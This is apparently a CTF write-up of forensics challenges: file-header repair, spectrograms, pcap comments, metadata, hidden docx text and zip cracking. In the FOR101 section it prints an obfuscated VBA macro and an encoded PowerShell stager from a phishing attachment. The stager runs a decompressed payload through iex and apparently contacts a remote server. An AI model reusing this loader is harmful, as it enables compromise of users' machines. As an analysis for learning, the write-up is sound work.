# OSCTF Solved by Raviel All the challenges: ## The Lost Image Mystery ![image](https://hackmd.io/_uploads/SyBRq4guC.png) ![image](https://hackmd.io/_uploads/SJS-iEeuC.png) the challenge gave us a corrupted file so we need to fix it header ![image](https://hackmd.io/_uploads/ryvViVl_A.png) ![image](https://hackmd.io/_uploads/BJTVsNxOC.png) With these evidence we can determine that this file is jpg picture so we just need to fix it header back and we will get the flag ![image](https://hackmd.io/_uploads/S1LaoVeO0.png) --- ## The Hidden Soundwave ![image](https://hackmd.io/_uploads/BklxhEluA.png) The challenge gave us an audio file, after listen to it there is a weird sound at the end of the song so I will open it in Sonic Visualizer and open spectogram to observe ![image](https://hackmd.io/_uploads/H1DL2VgOA.png) --- ## Mysterious Website Incident ![image](https://hackmd.io/_uploads/r1Tt24guR.png) the challenge gave us a log file after checking out the file, I found a suspicious link ![image](https://hackmd.io/_uploads/HyHT2ExuR.png) open it we will get the flag ![image](https://hackmd.io/_uploads/SyqkpVldC.png) --- ## Cyber Heist Conspiracy ![image](https://hackmd.io/_uploads/SJiW6ExOR.png) ![image](https://hackmd.io/_uploads/HyJvTVeOR.png) the challenge gave us a pcap file but the first thing that I notice is that there is packet comment ![image](https://hackmd.io/_uploads/Bk2daVldC.png) open it up, we got the flag --- ## PDF Puzzle ![image](https://hackmd.io/_uploads/HyCspVxO0.png) the challenge give us a PDF with some redacted word, after checking them out there nothing special I used exiftool and found the flag ![image](https://hackmd.io/_uploads/Bkj1REldC.png) ![image](https://hackmd.io/_uploads/H17BR4lO0.png) --- ## Seele Vellorei ![image](https://hackmd.io/_uploads/HkIv0Ve_R.png) The challenge gave us a docx file so I will open it first I pressed ctrl + A to check for white colour text and found something suspicious and there is the flag ![image](https://hackmd.io/_uploads/ryJJJSg_R.png) ![image](https://hackmd.io/_uploads/SyrW1BeuR.png) --- ## FOR101 ![image](https://hackmd.io/_uploads/ryN4JBluA.png) The challenge gave us a folder contain all files of an user and said something about email so its must be a phishing attack, first I will be checking the outlook folder or you can use tree to find it easier ![image](https://hackmd.io/_uploads/Hyz2kHgO0.png) ![image](https://hackmd.io/_uploads/rkR01Hg_A.png) found it the eml file ![image](https://hackmd.io/_uploads/rk8lZBxOC.png) unzip the file with the given password, there is a xlsm file kinda sus, using olevba to check it and yea its definately the reason ![image](https://hackmd.io/_uploads/SJHtWHld0.png) I will dump all those macro code ![image](https://hackmd.io/_uploads/Sk7yzreu0.png) it got encrypted or something I cant read those string beside the main code like "Function", "next",.... I see that its trying to decode something ``` Function ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨) ¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»· = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥" »¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢ = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ" For y = 1 To Len(µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨) ``` ![image](https://hackmd.io/_uploads/SyCfXSeuR.png) and this look like some kind of URL so that function could be decode that URL, using this code to decode the string, open it will give us the flag. ![image](https://hackmd.io/_uploads/SJ4uHrlu0.png) open up the link, there is somekind of bashscript, but it is encoded in base64 ![image](https://hackmd.io/_uploads/B1h9BBe_R.png) ``` & ( $sHEllid[1]+$sheLLiD[13]+'X')( NEW-obJEct Io.cOMPReSSiON.DEFlAteStrEAM( [SyStem.iO.mEMOrySTream] [SysteM.cOnVerT]::FRomBase64STRINg( 'JAAwAEwARABFAHgATgBpACAAPQAgACcASgBIAEYAMwBaAFcAUgBtAFkAWABvAGcAUABTAEEAbwBNAFQAQQAwAEwARABFAHgATgBpAHcAeABNAFQAWQBzAE0AVABFAHkATABEAEUAeABOAFMAdwAxAE8AQwB3ADAATgB5AHcAMABOAHkAdwB4AE0AVABJAHMATwBUAGMAcwBNAFQARQAxAEwARABFAHgATgBpAHcAeABNAEQARQBzAE8AVABnAHMATQBUAEEAMQBMAEQARQB4AE0AQwB3ADAATgBpAGsANwBKAEgARgAzAFoAVwBSAG0AWQBYAG8AZwBLAHoAMABnAEsARABFAHgATQBpAHcAeABNAEQAZwBzAE4ARABjAHMATQBUAEUANABMAEQARQB3AE4AUwB3AHgATQBEAEUAcwBNAFQARQA1AEwARABRADMATABEAEUAeABOAEMAdwA1AE4AeQB3AHgATQBUAGsAcwBOAEQAYwBzAE8AVABnAHMATQBUAEEAdwBMAEQAawA1AEwARABrADMATABEAFEANQBMAEQAVQAxAEwARABRADQATABEAFUAdwBLAFQAcwBrAFoAMgBGAHMAWgBpAEEAOQBJAEYAdABUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AEYAYgBtAE4AdgBaAEcAbAB1AFoAMQAwADYATwBrAEYAVABRADAAbABKAEwAawBkAGwAZABGAE4AMABjAG0AbAB1AFoAeQBnAGsAYwBYAGQAbABaAEcAWgBoAGUAaQBrADcASgBIAE0AOQBKAHoARQB5AE4AeQA0AHcATABqAEEAdQBNAFQAbwA0AE0ARABnAHcASgB6AHMAawBhAFQAMABuAFoAVwBWAG0ATwBHAFYAbQBZAFcATQB0AE0AegBJAHgAWgBEAFEAMgBOAFcAVQB0AFoAVABsAGsATQBEAFUAegBZAFQAYwBuAE8AeQBSAHcAUABTAGQAbwBkAEgAUgB3AE8AaQA4AHYASgB6AHMAawBkAGoAMQBKAGIAbgBaAHYAYQAyAFUAdABWADIAVgBpAFUAbQBWAHgAZABXAFYAegBkAEMAQQB0AFYAWABOAGwAUQBtAEYAegBhAFcATgBRAFkAWABKAHoAYQBXADUAbgBJAEMAMQBWAGMAbQBrAGcASgBIAEEAawBjAHkAOQBsAFoAVwBZADQAWgBXAFoAaABZAHkAQQB0AFMARwBWAGgAWgBHAFYAeQBjAHkAQgBBAGUAeQBKAFkATABUAFkANABNAEcAUQB0AE4ARABkAGwATwBDAEkAOQBKAEcAbAA5AE8AMwBkAG8AYQBXAHgAbABJAEMAZwBrAGQASABKADEAWgBTAGwANwBKAEcATQA5AEsARQBsAHUAZABtADkAcgBaAFMAMQBYAFoAVwBKAFMAWgBYAEYAMQBaAFgATgAwAEkAQwAxAFYAYwAyAFYAQwBZAFgATgBwAFkAMQBCAGgAYwBuAE4AcABiAG0AYwBnAEwAVgBWAHkAYQBTAEEAawBjAEMAUgB6AEwAegBNAHkATQBXAFEAMABOAGoAVgBsAEkAQwAxAEkAWgBXAEYAawBaAFgASgB6AEkARQBCADcASQBsAGcAdABOAGoAZwB3AFoAQwAwADAATgAyAFUANABJAGoAMABrAGEAWAAwAHAATABrAE4AdgBiAG4AUgBsAGIAbgBRADcAYQBXAFkAZwBLAEMAUgBqAEkAQwAxAHUAWgBTAEEAbgBUAG0AOQB1AFoAUwBjAHAASQBIAHMAawBjAGoAMQBwAFoAWABnAGcASgBHAE0AZwBMAFUAVgB5AGMAbQA5AHkAUQBXAE4AMABhAFcAOQB1AEkARgBOADAAYgAzAEEAZwBMAFUAVgB5AGMAbQA5AHkAVgBtAEYAeQBhAFcARgBpAGIARwBVAGcAWgBUAHMAawBjAGoAMQBQAGQAWABRAHQAVQAzAFIAeQBhAFcANQBuAEkAQwAxAEoAYgBuAEIAMQBkAEUAOQBpAGEAbQBWAGoAZABDAEEAawBjAGoAcwBrAGQARAAxAEoAYgBuAFoAdgBhADIAVQB0AFYAMgBWAGkAVQBtAFYAeABkAFcAVgB6AGQAQwBBAHQAVgBYAEoAcABJAEMAUgB3AEoASABNAHYAWgBUAGwAawBNAEQAVQB6AFkAVABjAGcATABVADEAbABkAEcAaAB2AFoAQwBCAFEAVAAxAE4AVQBJAEMAMQBJAFoAVwBGAGsAWgBYAEoAegBJAEUAQgA3AEkAbABnAHQATgBqAGcAdwBaAEMAMAAwAE4AMgBVADQASQBqADAAawBhAFgAMABnAEwAVQBKAHYAWgBIAGsAZwBLAEYAdABUAGUAWABOADAAWgBXADAAdQBWAEcAVgA0AGQAQwA1AEYAYgBtAE4AdgBaAEcAbAB1AFoAMQAwADYATwBsAFYAVQBSAGoAZwB1AFIAMgBWADAAUQBuAGwAMABaAFgATQBvAEoARwBVAHIASgBIAEkAcABJAEMAMQBxAGIAMgBsAHUASQBDAGMAZwBKAHkAbAA5AEkASABOAHMAWgBXAFYAdwBJAEQAQQB1AE8AWAAwAD0AJwA7ACQAMgBWAEMAWQBYAE4AcABZADEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAMABMAEQARQB4AE4AaQApACkAOwAkAHMAawBjAGoAMQBQAGQAWABRAHQAIAA9ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBTAGUAYwB1AHIAZQBTAHQAcgBpAG4AZwAgAC0AUwB0AHIAaQBuAGcAIAAkADIAVgBDAFkAWABOAHAAWQAxACAALQBBAHMAUABsAGEAaQBuAFQAZQB4AHQAIAAtAEYAbwByAGMAZQA7ACQAVgB6AGQAQwBBAHQAVgBYAEoAcAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAFAAUwBDAHIAZQBkAGUAbgB0AGkAYQBsACgAJwBkAFcAVgB6AGQAZAB6AEMAQQB0ACcALAAgACQAcwBrAGMAagAxAFAAZABYAFEAdAApADsAaQBlAHgAIAAkAFYAegBkAEMAQQB0AFYAWABKAHAALgBHAGUAdABOAGUAdAB3AG8AcgBrAEMAcgBlAGQAZQBuAHQAaQBhAGwAKAApAC4AUABhAHMAcwB3AG8AcgBk' ) , [sySteM.IO.ComprESsiON.cOmpresSiONMODe]::dEcomPrEss)|fOReach-OBJECt{NEW-obJEct iO.sTReAMrEAder( $_ , [TExT.EncOdiNg]::AscIi)} | fOREacH-obJeCt{$_.reADToend( )}) ``` ![image](https://hackmd.io/_uploads/BJ6aISgdC.png) and we got another base64 lol ![image](https://hackmd.io/_uploads/rJ61PSxuA.png) Finally we got the code and theres a decimal string decode it will give us a link ![image](https://hackmd.io/_uploads/SyJN_rx_A.png) ![image](https://hackmd.io/_uploads/B1ES_BguC.png) here is the flag! --- ## Seele Vellorei - Revenge ![image](https://hackmd.io/_uploads/S1JPdBluC.png) the challenge gave us a protected zip with password, using hashcat we know that the password is loveyou, open up the docx file inside the zip ![image](https://hackmd.io/_uploads/Skqa_SluA.png) there is something behind Delta's picture ![image](https://hackmd.io/_uploads/rkzktBlO0.png) we can change the extension name of the word file from docx to zip to take out the picture (do it by yourself lmao) using exiftool we can find something special ![image](https://hackmd.io/_uploads/ByG8YSg_C.png) searching google about ciphernonce and you eventually find this ![image](https://hackmd.io/_uploads/rycg9Bl_R.png) reading through the comment, there is a similar case and a solution ![image](https://hackmd.io/_uploads/SkKv9rg_0.png) using the same password as the zip file we can now get the flag ![image](https://hackmd.io/_uploads/r1P9jrxuC.png) ![image2-imageonline.co-4544039](https://hackmd.io/_uploads/ByKjiHgOR.png) ---